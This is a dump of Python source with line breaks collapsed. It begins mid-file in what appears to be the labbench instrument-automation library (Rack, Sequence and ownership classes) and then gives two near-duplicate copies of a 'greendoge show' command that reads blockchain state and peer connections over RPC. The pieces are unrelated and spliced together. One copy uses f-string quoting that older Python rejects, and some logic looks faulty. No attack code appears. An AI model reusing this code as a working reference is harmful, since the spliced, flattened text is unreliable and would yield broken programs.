{e} is not a Device subclass") cls._entry_order = entry_order cls._propagate_ownership() @classmethod def _propagate_ownership(cls): cls._ownables = {} # prepare and register owned attributes attr_names = set(dir(cls)).difference(dir(Owner)) # don't use cls.__dict__ here since we also need parent attributes for name in attr_names: obj = getattr(cls, name) if not isinstance(obj, util.Ownable): continue need_copy = isinstance(getattr(super(), name, None), util.Ownable) # prepare these first, so they are available to owned classes on __owner_subclass__ if isinstance(obj, core.Device): if need_copy: obj = copy.deepcopy(obj) cls._devices[name] = obj setattr(cls, name, obj) elif isinstance(obj, Owner): if need_copy: obj = copy.deepcopy(obj) cls._owners[name] = obj setattr(cls, name, obj) cls._ownables[name] = obj # run the hooks in owned classes, now that cls._devices and cls._owners are ready for them for name, obj in cls._ownables.items(): obj.__set_name__( cls, name ) # in case it was originally instantiated outside cls obj = obj.__owner_subclass__(cls) setattr(cls, name, obj) # propagate_owned_names(cls, cls.__name__) def __init__(self, **update_ownables): self._owners = dict(self._owners) # are the given objects ownable unownable = { name: obj for name, obj in update_ownables.items() if not isinstance(obj, util.Ownable) } if len(unownable) > 0: raise TypeError(f"keyword argument objects {unownable} are not ownable") # update ownables unrecognized = set(update_ownables.keys()).difference(self._ownables.keys()) if len(unrecognized) > 0: clsname = type(self).__qualname__ unrecognized = tuple(unrecognized) raise TypeError( f"cannot update unrecognized attributes {unrecognized} of {clsname}" ) self._ownables = dict(self._ownables, **update_ownables) # update devices update_devices = { name: obj for name, obj in update_ownables.items() if isinstance(obj, core.Device) } unrecognized = set(update_devices.keys()).difference(self._devices.keys()) if len(unrecognized) > 0: clsname = type(self).__qualname__ unrecognized = tuple(unrecognized) raise TypeError( f"{clsname} Device attributes {unrecognized} can only be instantiated with Device objects" ) self._devices = dict(self._devices, **update_devices) super().__init__() for obj in self._owners.values(): obj.__owner_init__(self) for obj in self._ownables.values(): # repeat this for Rack instances that are also Owners, # ensuring that obj._owned_name refers to the topmost # name obj.__owner_init__(self) def __setattr__(self, key, obj): # update naming for any util.Ownable instances if isinstance(obj, util.Ownable): self._ownables[key] = obj if getattr(obj, "__objclass__", None) is not type(self): obj.__set_name__(type(self), key) obj.__owner_init__(self) if isinstance(obj, core.Device): self._devices[key] = obj if isinstance(obj, Owner): self._owners[key] = obj object.__setattr__(self, key, obj) def close(self): pass def open(self): pass @property def __enter__(self): self._context = package_owned_contexts(self) @wraps(type(self).__enter__.fget) def __enter__(): self._context.__enter__() return self return __enter__ @property def __exit__(self): # pass along from self._context return self._context.__exit__ def override_empty(a, b, param_name, field): """return no more than non-EMPTY value between two Parameter fields, otherwise raises TypeError""" nonempty = {a, b} - {EMPTY} if len(nonempty) == 2: msg = f"conflicting {field} {nonempty} in aggregating argument '{param_name}'" raise TypeError(msg) elif len(nonempty) == 1: ret = tuple(nonempty)[0] if field == "annotation" and not inspect.isclass(ret): raise TypeError( f"type annotation '{ret}' for parameter '{param_name}' is not a class" ) return ret else: return EMPTY def update_parameter_dict(dest: dict, signature: inspect.Signature): """updates the dest mapping with parameters taken from inspect.Signature. Items with the same name and defaults or annotations that are not EMPTY must be the same, or TypeError is raised. """ # pull a dictionary of signature values (default, annotation) with EMPTY as a null sentinel value if not hasattr(signature, "parameters"): parameters = signature else: parameters = signature.parameters for name, param in parameters.items(): if param.kind is inspect.Parameter.POSITIONAL_ONLY: continue if name in dest: dest[name] = dest[name].replace( annotation=override_empty( dest[name].annotation, param.annotation, name, "annotation" ), default=override_empty( dest[name].default, param.default, name, "default" ), ) else: dest[name] = param.replace(kind=inspect.Parameter.KEYWORD_ONLY) def attr_chain_to_method(root_obj, chain): """follows the chain with nested getattr calls to access the chain object""" obj = root_obj for name in chain[:-1]: obj = getattr(obj, name) if hasattr(obj, "_methods"): return Method.from_method(obj._methods[chain[-1]]) attr = getattr(obj, chain[-1]) if isinstance(attr, Method): return Method.from_method(attr) else: return Method(obj, chain[-1]) def standardize_spec_step(sequence): """standardizes the sequence specification dict to {name: [list of methods]}""" if isinstance(sequence, (list, tuple)): # specification for a concurrent and/or sequential calls to Method methods sequence = list(sequence) elif isinstance(sequence, Method): # a Method method that is already packaged for use sequence = [sequence] elif inspect.ismethod(sequence): sequence = [Method(sequence.__self__, sequence.__name__)] else: typename = type(sequence).__qualname__ raise TypeError( f"object of type '{typename}' is neither a Rack method nor a nested tuple/list" ) return sequence class Sequence(util.Ownable): """Experiment definition from methods in Rack instances. The input is a specification for sequencing these steps, including support for threading. The output is a callable function that can be assigned as a method to a top-level "root" Rack. """ def __init__(self, **specification): self.spec = { k: standardize_spec_step(spec) for k, spec in specification.items() } self.access_spec = None def __owner_subclass__(self, owner_cls): if self.access_spec is None: # transform the objects in self.spec # into attribute names for dynamic access # in case of later copying and subclassing chain = owner_getattr_chains(owner_cls) self.access_spec = { k: [chain[s._owner] + (s.__name__,) for s in spec] for k, spec in self.spec.items() } return self def __owner_init__(self, owner): """make a sequence bound to the owner""" # in case this is added through a self.__owner_subclass__(type(owner)) super().__owner_init__(owner) # initialization on the parent class definition # waited until after __set_name__, because this depends on __name__ having been set for the tasks task spec = { k: [attr_chain_to_method(owner, c) for c in chain] for k, chain in self.access_spec.items() } self.last_spec = spec # build the callable object with a newly-defined subclass. # tricks ipython/jupyter into showing the call signature. ns = dict( sequence=spec, dependencies=self._dependency_map(spec), __name__=self.__name__, __qualname__=type(owner).__qualname__ + "." + self.__name__, __objclass__=self.__objclass__, __owner_subclass__=self.__owner_subclass__, # in case the owner changes and calls this again ) cls = type(BoundSequence.__name__, (BoundSequence,), ns) # Generate a signature for documentation and code autocomplete # params = [ # inspect.Parameter('self', kind=inspect.Parameter.POSITIONAL_ONLY), # ] # we need a wrapper so that __init__ can be modified separately for each subclass cls.__call__ = util.copy_func(cls.__call__) # merge together params = dict( self=inspect.Parameter("self", kind=inspect.Parameter.POSITIONAL_ONLY) ) for funcs in spec.values(): for func in funcs: update_parameter_dict(params, func.extended_signature()) cls.__call__.__signature__ = inspect.Signature(parameters=params.values()) # the testbed gets this BoundSequence instance in place of self obj = object.__new__(cls) obj.__init__() setattr(owner, self.__name__, obj) def _dependency_map(self, spec, owner_deps={}) -> dict: """maps the Device dependencies of each Method in spec. Returns: {Device instance: reference to method that uses Device instance} """ deps = dict(owner_deps) for spec in spec.values(): for func in spec: if not isinstance(func, (Method, BoundSequence)): raise TypeError( f"expected Method instance, but got '{type(func).__qualname__}' instead" ) # race condition check conflicts = set(deps.keys()).intersection(func.dependencies) if len(conflicts) > 0: users = {deps[device] for device in conflicts} raise RuntimeError( f"risk of concurrent access to {conflicts} by {users}" ) deps.update({device.__name__: device for device in func.dependencies}) return deps # def _aggregate_signatures(self, spec) -> inspect.Signature: # """aggregates calls from the Sequence specification into a Signature object # Arguments: # spec: nested list of calls that contains the parsed call tree # """ # agg_params = dict( # self=inspect.Parameter('self', kind=inspect.Parameter.POSITIONAL_ONLY) # ) # # collect the defaults # for funcs in spec.values(): # for func in funcs: # merge_keyword_parameters(agg_params, func.extended_signature().parameters) # return inspect.Signature(parameters=agg_params.values()) class RackMeta(type): """metaclass for helpful exceptions""" def __enter__(cls): raise RuntimeError( f"the `with` block needs an instance - 'with {cls.__qualname__}():' instead of 'with {cls.__qualname__}:'" ) def __exit__(cls, *exc_info): pass class Rack(Owner, util.Ownable, metaclass=RackMeta): """A Rack provides context management and methods for groups of Device instances. The Rack object provides connection management for all devices and data managers for `with` block:: with Rack() as testbed: # use the testbed here pass For functional validation, it is also possible to open only a subset of devices like this:: testbed = Rack() with testbed.dev1, testbed.dev2: # use the testbed.dev1 and testbed.dev2 here pass The following syntax creates a new Rack class for an experiment: import labbench as lb class MyRack(lb.Rack): db = lb.SQLiteManager() sa = MySpectrumAnalyzer() spectrogram = Spectrogram(db=db, sa=sa) """ def __init_subclass__(cls, entry_order=[]): cls._entry_order = entry_order # register step methods cls._methods = {} attr_names = sorted(set(dir(cls)).difference(dir(Owner))) # not using cls.__dict__ because it neglects parent classes for name in attr_names: obj = getattr(cls, name) if isinstance(obj, (core.Device, Owner, Sequence, BoundSequence)): continue if not name.startswith("_") and callable(obj): cls._methods[name] = obj # include annotations from parent classes cls.__annotations__ = dict( getattr(super(), "__annotations__", {}), **getattr(cls, "__annotations__", {}), ) cls.__init__.__annotations__ = cls.__annotations__ # adjust the __init__ signature for introspection/doc # Generate a signature for documentation and code autocomplete params = [ inspect.Parameter("self", kind=inspect.Parameter.POSITIONAL_ONLY), ] # generate and apply the sequence of call signature parameters params += [ inspect.Parameter( name, kind=inspect.Parameter.KEYWORD_ONLY, default=getattr(cls, name, EMPTY), annotation=annot, ) for name, annot in cls.__annotations__.items() ] # we need a wrapper so that __init__ can be modified separately for each subclass cls.__init__ = util.copy_func(cls.__init__) cls.__init__.__signature__ = inspect.Signature(params) super().__init_subclass__(entry_order=entry_order) def __init__(self, **ownables): # new dict mapping object for the same devices ownables = dict(ownables) annotations = dict(self.__annotations__) for name, dev in ownables.items(): # self.__annotations__.items(): try: dev_type = annotations.pop(name) except KeyError: raise NameError( f"{self.__class__.__qualname__}.__init__ was given invalid keyword argument '{name}'" ) if not isinstance(dev, dev_type): msg = ( f"argument '{name}' is not an instance of '{dev_type.__qualname__}'" ) raise AttributeError(msg) setattr(self, name, dev) # check for a valid instance in the class for each remaining attribute for name, dev_type in dict(annotations).items(): if isinstance(getattr(self, name, EMPTY), dev_type): del annotations[name] # any remaining items in annotations are missing arguments if len(annotations) > 0: kwargs = [f"{repr(k)}: {v}" for k, v in annotations.items()] raise AttributeError(f"missing keyword arguments {', '.join(kwargs)}'") # now move forward with applying the devices super().__init__(**ownables) # wrap self._methods as necessary self._methods = { k: (obj if isinstance(obj, Method) else Method(self, k)) for k, obj in self._methods.items() } def __deepcopy__(self, memo=None): """Called when an owning class is subclassed""" owners = {name: copy.deepcopy(obj) for name, obj in self._owners.items()} # steps = {name: copy.deepcopy(obj) for name, obj in type(self)._methods.items()} namespace = dict( __annotations__=type(self).__annotations__, __module__=type(self).__module__, **owners, ) # return self namespace.update(owners) subcls = type(self.__class__.__name__, (type(self),), namespace) return subcls(**self._devices) def __owner_init__(self, owner): super().__owner_init__(owner) def __getattribute__(self, item): if item != "_methods" and item in self._methods: return self._methods[item] else: return super().__getattribute__(item) def __getitem__(self, item): return self._methods[item] def __len__(self): return len(self._methods) def __iter__(self): return (getattr(self, k) for k in self._methods) def import_as_rack( import_str: str, cls_name: str = None, base_cls: type = Rack, replace_attrs: list = ["__doc__", "__module__"], ): """Creates a Rack subclass with the specified module's contents. Ownable objects are annotated by type, allowing the resulting class to be instantiated. Arguments: import_str: the name of the module to import cls_name: the name of the Rack subclass to import from the module (or None for a new subclass with the module contents) base_cls: the base class to use for the new subclass replace_attrs: attributes of `base_cls` to replace from the module Exceptions: NameError: if there is an attribute name conflict between the module and base_cls Returns: A dynamically created subclass of base_cls """ def isadaptable(name, obj): """skip function, module, and type attributes""" type_ok = not ( inspect.isclass(obj) or inspect.ismodule(obj) or inspect.isfunction(obj) ) # __name__ causes an undesired __name__ attribute to exist in the root Rack class # (this breaks logic that expects this to exist only in owned instances name_ok = name in replace_attrs or not name.startswith("_") return type_ok and name_ok module = importlib.import_module(import_str) if cls_name is not None: # work with the class specified in the module obj = getattr(module, cls_name) if issubclass(obj, base_cls): # it's already a Rack instance - return it return base_cls elif inspect.ismodule(obj): module = obj else: raise TypeError( f"{import_str}.{cls_name} is not a subclass of {base_cls.__qualname__}" ) dunder_updates = dict() else: cls_name = "_as_rack" dunder_updates = dict(__module__=import_str) namespace = { # take namespace items that are not types or modules attr: obj for attr, obj in module.__dict__.items() if isadaptable(attr, obj) } # annotate the rack, which sets up the constructor signature that we use for config namespace["__annotations__"] = dict( { name: type(obj) for name, obj in namespace.items() if isinstance(obj, util.Ownable) }, **getattr(module, "__attributes__", {}), ) namespace.update(dunder_updates) # raise NameError on redundant names - overloading could be # very messy in this context name_conflicts = ( set(namespace).intersection(base_cls.__dict__).difference(replace_attrs) ) if len(name_conflicts) > 0: raise NameError( f"names {name_conflicts} in module '{module.__name__}' " f"conflict with attributes of '{base_cls.__qualname__}'" ) # subclass into a new Rack return type(cls_name, (base_cls,), dict(base_cls.__dict__, **namespace))
from typing import Any import click async def show_async( rpc_port: int, state: bool, show_connections: bool, exit_node: bool, add_connection: str, remove_connection: str, block_header_hash_by_height: str, block_by_header_hash: str, ) -> None: import aiohttp import time import traceback from time import localtime, struct_time from typing import List, Optional from greendoge.consensus.block_record import BlockRecord from greendoge.rpc.full_node_rpc_client import FullNodeRpcClient from greendoge.server.outbound_message import NodeType from greendoge.types.full_block import FullBlock from greendoge.util.bech32m import encode_puzzle_hash from greendoge.util.byte_types import hexstr_to_bytes from greendoge.util.config import load_config from greendoge.util.default_root import DEFAULT_ROOT_PATH from greendoge.util.ints import uint16 from greendoge.util.misc import format_bytes try: config = load_config(DEFAULT_ROOT_PATH, "config.yaml") self_hostname = config["self_hostname"] if rpc_port is None: rpc_port = config["full_node"]["rpc_port"] client = await FullNodeRpcClient.create(self_hostname, uint16(rpc_port), DEFAULT_ROOT_PATH, config) if state: blockchain_state = await client.get_blockchain_state() if blockchain_state is None: print("There is no blockchain found yet. Try again shortly") return None peak: Optional[BlockRecord] = blockchain_state["peak"] difficulty = blockchain_state["difficulty"] sub_slot_iters = blockchain_state["sub_slot_iters"] synced = blockchain_state["sync"]["synced"] sync_mode = blockchain_state["sync"]["sync_mode"] total_iters = peak.total_iters if peak is not None else 0 num_blocks: int = 10 if synced: print("Current Blockchain Status: Full Node Synced") print("\nPeak: Hash:", peak.header_hash if peak is not None else "") elif peak is not None and sync_mode: sync_max_block = blockchain_state["sync"]["sync_tip_height"] sync_current_block = blockchain_state["sync"]["sync_progress_height"] print(f"Current Blockchain Status: Syncing {sync_current_block}/{sync_max_block}.") print("Peak: Hash:", peak.header_hash if peak is not None else "") elif peak is not None: print(f"Current Blockchain Status: Not Synced. Peak height: {peak.height}") else: print("\nSearching for an initial chain\n") print("You may be able to expedite with 'greendoge show -a host:port' using a known node.\n") if peak is not None: if peak.is_transaction_block: peak_time = peak.timestamp else: peak_hash = peak.header_hash curr = await client.get_block_record(peak_hash) while curr is not None and not curr.is_transaction_block: curr = await client.get_block_record(curr.prev_hash) peak_time = curr.timestamp peak_time_struct = struct_time(localtime(peak_time)) print( " Time:", f"{time.strftime("%a %b %d %Y %T %Z", peak_time_struct)}", f" Height: {peak.height:>10}\n", ) print("Estimated network space: ", end="") print(format_bytes(blockchain_state["space"])) print(f"Current difficulty: {difficulty}") print(f"Current VDF sub_slot_iters: {sub_slot_iters}") print("Total iterations since the start of the blockchain:", total_iters) print("") print(" Height: | Hash:") added_blocks: List[BlockRecord] = [] curr = await client.get_block_record(peak.header_hash) while curr is not None and len(added_blocks) < num_blocks and curr.height > 0: added_blocks.append(curr) curr = await client.get_block_record(curr.prev_hash) for b in added_blocks: print(f"{b.height:>9} | {b.header_hash}") else: print("Blockchain has no blocks yet") # if called together with show_connections, leave a blank line if show_connections: print("") if show_connections: connections = await client.get_connections() print("Connections:") print( "Type IP Ports NodeID Last Connect" + " MiB Up|Dwn" ) for con in connections: last_connect_tuple = struct_time(localtime(con["last_message_time"])) last_connect = time.strftime("%b %d %T", last_connect_tuple) mb_down = con["bytes_read"] / (1024 * 1024) mb_up = con["bytes_written"] / (1024 * 1024) host = con["peer_host"] # Strip IPv6 brackets if host[0] == "[": host = host[1:39] # Nodetype length is 9 because INTRODUCER will be deprecated if NodeType(con["type"]) is NodeType.FULL_NODE: peak_height = con["peak_height"] peak_hash = con["peak_hash"] if peak_hash is None: peak_hash = "No Info" if peak_height is None: peak_height = 0 con_str = ( f"{NodeType(con["type"]).name:9} {host:38} " f"{con["peer_port"]:5}/{con["peer_server_port"]:<5}" f" {con["node_id"].hex()[:8]}... " f"{last_connect} " f"{mb_up:7.1f}|{mb_down:<7.1f}" f"\n " f"-SB Height: {peak_height:8.0f} -Hash: {peak_hash[2:10]}..." ) else: con_str = ( f"{NodeType(con["type"]).name:9} {host:38} " f"{con["peer_port"]:5}/{con["peer_server_port"]:<5}" f" {con["node_id"].hex()[:8]}... " f"{last_connect} " f"{mb_up:7.1f}|{mb_down:<7.1f}" ) print(con_str) # if called together with state, leave a blank line if state: print("") if exit_node: node_stop = await client.stop_node() print(node_stop, "Node stopped") if add_connection: if ":" not in add_connection: print("Enter a valid IP and port in the following format: 10.5.4.3:8000") else: ip, port = ( ":".join(add_connection.split(":")[:-1]), add_connection.split(":")[-1], ) print(f"Connecting to {ip}, {port}") try: await client.open_connection(ip, int(port)) except Exception: print(f"Failed to connect to {ip}:{port}") if remove_connection: result_txt = "" if len(remove_connection) != 8: result_txt = "Invalid NodeID. Do not include '.'" else: connections = await client.get_connections() for con in connections: if remove_connection == con["node_id"].hex()[:8]: print("Attempting to disconnect", "NodeID", remove_connection) try: await client.close_connection(con["node_id"]) except Exception: result_txt = f"Failed to disconnect NodeID {remove_connection}" else: result_txt = f"NodeID {remove_connection}... {NodeType(con["type"]).name} " f"{con["peer_host"]} disconnected" elif result_txt == "": result_txt = f"NodeID {remove_connection}... not found" print(result_txt) if block_header_hash_by_height != "": block_header = await client.get_block_record_by_height(block_header_hash_by_height) if block_header is not None: print(f"Header hash of block {block_header_hash_by_height}: " f"{block_header.header_hash.hex()}") else: print("Block height", block_header_hash_by_height, "not found") if block_by_header_hash != "": block: Optional[BlockRecord] = await client.get_block_record(hexstr_to_bytes(block_by_header_hash)) full_block: Optional[FullBlock] = await client.get_block(hexstr_to_bytes(block_by_header_hash)) # Would like to have a verbose flag for this if block is not None: assert full_block is not None prev_b = await client.get_block_record(block.prev_hash) if prev_b is not None: difficulty = block.weight - prev_b.weight else: difficulty = block.weight if block.is_transaction_block: assert full_block.transactions_info is not None block_time = struct_time( localtime( full_block.foliage_transaction_block.timestamp if full_block.foliage_transaction_block else None ) ) block_time_string = time.strftime("%a %b %d %Y %T %Z", block_time) cost = str(full_block.transactions_info.cost) tx_filter_hash = "Not a transaction block" if full_block.foliage_transaction_block: tx_filter_hash = full_block.foliage_transaction_block.filter_hash fees: Any = block.fees else: block_time_string = "Not a transaction block" cost = "Not a transaction block" tx_filter_hash = "Not a transaction block" fees = "Not a transaction block" address_prefix = config["network_overrides"]["config"][config["selected_network"]]["address_prefix"] farmer_address = encode_puzzle_hash(block.farmer_puzzle_hash, address_prefix) pool_address = encode_puzzle_hash(block.pool_puzzle_hash, address_prefix) pool_pk = ( full_block.reward_chain_block.proof_of_space.pool_public_key if full_block.reward_chain_block.proof_of_space.pool_public_key is not None else "Pay to pool puzzle hash" ) print( f"Block Height {block.height}\n" f"Header Hash 0x{block.header_hash.hex()}\n" f"Timestamp {block_time_string}\n" f"Weight {block.weight}\n" f"Previous Block 0x{block.prev_hash.hex()}\n" f"Difficulty {difficulty}\n" f"Sub-slot iters {block.sub_slot_iters}\n" f"Cost {cost}\n" f"Total VDF Iterations {block.total_iters}\n" f"Is a Transaction Block?{block.is_transaction_block}\n" f"Deficit {block.deficit}\n" f"PoSpace 'k' Size {full_block.reward_chain_block.proof_of_space.size}\n" f"Plot Public Key 0x{full_block.reward_chain_block.proof_of_space.plot_public_key}\n" f"Pool Public Key {pool_pk}\n" f"Tx Filter Hash {tx_filter_hash}\n" f"Farmer Address {farmer_address}\n" f"Pool Address {pool_address}\n" f"Fees Amount {fees}\n" ) else: print("Block with header hash", block_header_hash_by_height, "not found") except Exception as e: if isinstance(e, aiohttp.ClientConnectorError): print(f"Connection error. Check if full node rpc is running at {rpc_port}") print("This is normal if full node is still starting up") else: tb = traceback.format_exc() print(f"Exception from 'show' {tb}") client.close() await client.await_closed() @click.command("show", short_help="Show node information") @click.option( "-p", "--rpc-port", help=( "Set the port where the Full Node is hosting the RPC interface. " "See the rpc_port under full_node in config.yaml" ), type=int, default=None, ) @click.option( "-wp", "--wallet-rpc-port", help="Set the port where the Wallet is hosting the RPC interface. See the rpc_port under wallet in config.yaml", type=int, default=None, ) @click.option("-s", "--state", help="Show the current state of the blockchain", is_flag=True, type=bool, default=False) @click.option( "-c", "--connections", help="List nodes connected to this Full Node", is_flag=True, type=bool, default=False ) @click.option("-e", "--exit-node", help="Shut down the running Full Node", is_flag=True, default=False) @click.option("-a", "--add-connection", help="Connect to another Full Node by ip:port", type=str, default="") @click.option( "-r", "--remove-connection", help="Remove a Node by the first 8 characters of NodeID", type=str, default="" ) @click.option( "-bh", "--block-header-hash-by-height", help="Look up a block header hash by block height", type=str, default="" ) @click.option("-b", "--block-by-header-hash", help="Look up a block by block header hash", type=str, default="") def show_cmd( rpc_port: int, wallet_rpc_port: int, state: bool, connections: bool, exit_node: bool, add_connection: str, remove_connection: str, block_header_hash_by_height: str, block_by_header_hash: str, ) -> None: import asyncio asyncio.run( show_async( rpc_port, state, connections, exit_node, add_connection, remove_connection, block_header_hash_by_height, block_by_header_hash, ) )
from typing import Any import click async def show_async( rpc_port: int, state: bool, show_connections: bool, exit_node: bool, add_connection: str, remove_connection: str, block_header_hash_by_height: str, block_by_header_hash: str, ) -> None: import aiohttp import time import traceback from time import localtime, struct_time from typing import List, Optional from greendoge.consensus.block_record import BlockRecord from greendoge.rpc.full_node_rpc_client import FullNodeRpcClient from greendoge.server.outbound_message import NodeType from greendoge.types.full_block import FullBlock from greendoge.util.bech32m import encode_puzzle_hash from greendoge.util.byte_types import hexstr_to_bytes from greendoge.util.config import load_config from greendoge.util.default_root import DEFAULT_ROOT_PATH from greendoge.util.ints import uint16 from greendoge.util.misc import format_bytes try: config = load_config(DEFAULT_ROOT_PATH, "config.yaml") self_hostname = config["self_hostname"] if rpc_port is None: rpc_port = config["full_node"]["rpc_port"] client = await FullNodeRpcClient.create(self_hostname, uint16(rpc_port), DEFAULT_ROOT_PATH, config) if state: blockchain_state = await client.get_blockchain_state() if blockchain_state is None: print("There is no blockchain found yet. Try again shortly") return None peak: Optional[BlockRecord] = blockchain_state["peak"] difficulty = blockchain_state["difficulty"] sub_slot_iters = blockchain_state["sub_slot_iters"] synced = blockchain_state["sync"]["synced"] sync_mode = blockchain_state["sync"]["sync_mode"] total_iters = peak.total_iters if peak is not None else 0 num_blocks: int = 10 if synced: print("Current Blockchain Status: Full Node Synced") print("\nPeak: Hash:", peak.header_hash if peak is not None else "") elif peak is not None and sync_mode: sync_max_block = blockchain_state["sync"]["sync_tip_height"] sync_current_block = blockchain_state["sync"]["sync_progress_height"] print(f"Current Blockchain Status: Syncing {sync_current_block}/{sync_max_block}.") print("Peak: Hash:", peak.header_hash if peak is not None else "") elif peak is not None: print(f"Current Blockchain Status: Not Synced. Peak height: {peak.height}") else: print("\nSearching for an initial chain\n") print("You may be able to expedite with 'greendoge show -a host:port' using a known node.\n") if peak is not None: if peak.is_transaction_block: peak_time = peak.timestamp else: peak_hash = peak.header_hash curr = await client.get_block_record(peak_hash) while curr is not None and not curr.is_transaction_block: curr = await client.get_block_record(curr.prev_hash) peak_time = curr.timestamp peak_time_struct = struct_time(localtime(peak_time)) print( " Time:", f"{time.strftime('%a %b %d %Y %T %Z', peak_time_struct)}", f" Height: {peak.height:>10}\n", ) print("Estimated network space: ", end="") print(format_bytes(blockchain_state["space"])) print(f"Current difficulty: {difficulty}") print(f"Current VDF sub_slot_iters: {sub_slot_iters}") print("Total iterations since the start of the blockchain:", total_iters) print("") print(" Height: | Hash:") added_blocks: List[BlockRecord] = [] curr = await client.get_block_record(peak.header_hash) while curr is not None and len(added_blocks) < num_blocks and curr.height > 0: added_blocks.append(curr) curr = await client.get_block_record(curr.prev_hash) for b in added_blocks: print(f"{b.height:>9} | {b.header_hash}") else: print("Blockchain has no blocks yet") # if called together with show_connections, leave a blank line if show_connections: print("") if show_connections: connections = await client.get_connections() print("Connections:") print( "Type IP Ports NodeID Last Connect" + " MiB Up|Dwn" ) for con in connections: last_connect_tuple = struct_time(localtime(con["last_message_time"])) last_connect = time.strftime("%b %d %T", last_connect_tuple) mb_down = con["bytes_read"] / (1024 * 1024) mb_up = con["bytes_written"] / (1024 * 1024) host = con["peer_host"] # Strip IPv6 brackets if host[0] == "[": host = host[1:39] # Nodetype length is 9 because INTRODUCER will be deprecated if NodeType(con["type"]) is NodeType.FULL_NODE: peak_height = con["peak_height"] peak_hash = con["peak_hash"] if peak_hash is None: peak_hash = "No Info" if peak_height is None: peak_height = 0 con_str = ( f"{NodeType(con['type']).name:9} {host:38} " f"{con['peer_port']:5}/{con['peer_server_port']:<5}" f" {con['node_id'].hex()[:8]}... " f"{last_connect} " f"{mb_up:7.1f}|{mb_down:<7.1f}" f"\n " f"-SB Height: {peak_height:8.0f} -Hash: {peak_hash[2:10]}..." ) else: con_str = ( f"{NodeType(con['type']).name:9} {host:38} " f"{con['peer_port']:5}/{con['peer_server_port']:<5}" f" {con['node_id'].hex()[:8]}... " f"{last_connect} " f"{mb_up:7.1f}|{mb_down:<7.1f}" ) print(con_str) # if called together with state, leave a blank line if state: print("") if exit_node: node_stop = await client.stop_node() print(node_stop, "Node stopped") if add_connection: if ":" not in add_connection: print("Enter a valid IP and port in the following format: 10.5.4.3:8000") else: ip, port = ( ":".join(add_connection.split(":")[:-1]), add_connection.split(":")[-1], ) print(f"Connecting to {ip}, {port}") try: await client.open_connection(ip, int(port)) except Exception: print(f"Failed to connect to {ip}:{port}") if remove_connection: result_txt = "" if len(remove_connection) != 8: result_txt = "Invalid NodeID. Do not include '.'" else: connections = await client.get_connections() for con in connections: if remove_connection == con["node_id"].hex()[:8]: print("Attempting to disconnect", "NodeID", remove_connection) try: await client.close_connection(con["node_id"]) except Exception: result_txt = f"Failed to disconnect NodeID {remove_connection}" else: result_txt = f"NodeID {remove_connection}... {NodeType(con['type']).name} " f"{con['peer_host']} disconnected" elif result_txt == "": result_txt = f"NodeID {remove_connection}... not found" print(result_txt) if block_header_hash_by_height != "": block_header = await client.get_block_record_by_height(block_header_hash_by_height) if block_header is not None: print(f"Header hash of block {block_header_hash_by_height}: " f"{block_header.header_hash.hex()}") else: print("Block height", block_header_hash_by_height, "not found") if block_by_header_hash != "": block: Optional[BlockRecord] = await client.get_block_record(hexstr_to_bytes(block_by_header_hash)) full_block: Optional[FullBlock] = await client.get_block(hexstr_to_bytes(block_by_header_hash)) # Would like to have a verbose flag for this if block is not None: assert full_block is not None prev_b = await client.get_block_record(block.prev_hash) if prev_b is not None: difficulty = block.weight - prev_b.weight else: difficulty = block.weight if block.is_transaction_block: assert full_block.transactions_info is not None block_time = struct_time( localtime( full_block.foliage_transaction_block.timestamp if full_block.foliage_transaction_block else None ) ) block_time_string = time.strftime("%a %b %d %Y %T %Z", block_time) cost = str(full_block.transactions_info.cost) tx_filter_hash = "Not a transaction block" if full_block.foliage_transaction_block: tx_filter_hash = full_block.foliage_transaction_block.filter_hash fees: Any = block.fees else: block_time_string = "Not a transaction block" cost = "Not a transaction block" tx_filter_hash = "Not a transaction block" fees = "Not a transaction block" address_prefix = config["network_overrides"]["config"][config["selected_network"]]["address_prefix"] farmer_address = encode_puzzle_hash(block.farmer_puzzle_hash, address_prefix) pool_address = encode_puzzle_hash(block.pool_puzzle_hash, address_prefix) pool_pk = ( full_block.reward_chain_block.proof_of_space.pool_public_key if full_block.reward_chain_block.proof_of_space.pool_public_key is not None else "Pay to pool puzzle hash" ) print( f"Block Height {block.height}\n" f"Header Hash 0x{block.header_hash.hex()}\n" f"Timestamp {block_time_string}\n" f"Weight {block.weight}\n" f"Previous Block 0x{block.prev_hash.hex()}\n" f"Difficulty {difficulty}\n" f"Sub-slot iters {block.sub_slot_iters}\n" f"Cost {cost}\n" f"Total VDF Iterations {block.total_iters}\n" f"Is a Transaction Block?{block.is_transaction_block}\n" f"Deficit {block.deficit}\n" f"PoSpace 'k' Size {full_block.reward_chain_block.proof_of_space.size}\n" f"Plot Public Key 0x{full_block.reward_chain_block.proof_of_space.plot_public_key}\n" f"Pool Public Key {pool_pk}\n" f"Tx Filter Hash {tx_filter_hash}\n" f"Farmer Address {farmer_address}\n" f"Pool Address {pool_address}\n" f"Fees Amount {fees}\n" ) else: print("Block with header hash", block_header_hash_by_height, "not found") except Exception as e: if isinstance(e, aiohttp.ClientConnectorError): print(f"Connection error. Check if full node rpc is running at {rpc_port}") print("This is normal if full node is still starting up") else: tb = traceback.format_exc() print(f"Exception from 'show' {tb}") client.close() await client.await_closed() @click.command("show", short_help="Show node information") @click.option( "-p", "--rpc-port", help=( "Set the port where the Full Node is hosting the RPC interface. " "See the rpc_port under full_node in config.yaml" ), type=int, default=None, ) @click.option( "-wp", "--wallet-rpc-port", help="Set the port where the Wallet is hosting the RPC interface. See the rpc_port under wallet in config.yaml", type=int, default=None, ) @click.option("-s", "--state", help="Show the current state of the blockchain", is_flag=True, type=bool, default=False) @click.option( "-c", "--connections", help="List nodes connected to this Full Node", is_flag=True, type=bool, default=False ) @click.option("-e", "--exit-node", help="Shut down the running Full Node", is_flag=True, default=False) @click.option("-a", "--add-connection", help="Connect to another Full Node by ip:port", type=str, default="") @click.option( "-r", "--remove-connection", help="Remove a Node by the first 8 characters of NodeID", type=str, default="" ) @click.option( "-bh", "--block-header-hash-by-height", help="Look up a block header hash by block height", type=str, default="" ) @click.option("-b", "--block-by-header-hash", help="Look up a block by block header hash", type=str, default="") def show_cmd( rpc_port: int, wallet_rpc_port: int, state: bool, connections: bool, exit_node: bool, add_connection: str, remove_connection: str, block_header_hash_by_height: str, block_by_header_hash: str, ) -> None: import asyncio asyncio.run( show_async( rpc_port, state, connections, exit_node, add_connection, remove_connection, block_header_hash_by_height, block_by_header_hash, ) )
